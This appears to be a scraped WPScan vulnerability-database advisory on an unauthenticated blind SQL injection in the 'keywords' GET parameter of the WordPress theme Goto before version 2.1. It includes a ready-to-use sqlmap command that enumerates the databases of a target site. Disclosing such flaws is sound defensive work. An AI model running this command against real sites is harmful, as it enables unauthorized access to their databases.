Lucene search

K
wpexploitWpvulndbWPEX-ID:1CC6DC17-B019-49DD-8149-C8BBA165EB30
HistoryApr 26, 2021 - 12:00 a.m.

Goto < 2.1 - Unauthenticated Blind SQL Injection

2021-04-2600:00:00
wpvulndb
78
unauthenticated blind sql injection
sqlmap
example.com

EPSS

0.003

Percentile

71.7%

The theme did not sanitise, validate of escape the keywords GET parameter from its listing page before using it in a SQL statement, leading to an Unauthenticated SQL injection issue

sqlmap --url="https://example.com/tour-list/?keywords=13&start_date=13" --random-agent -dbs --level=3 --threads=4 --dbms=MySQL -p keywords

EPSS

0.003

Percentile

71.7%

Related for WPEX-ID:1CC6DC17-B019-49DD-8149-C8BBA165EB30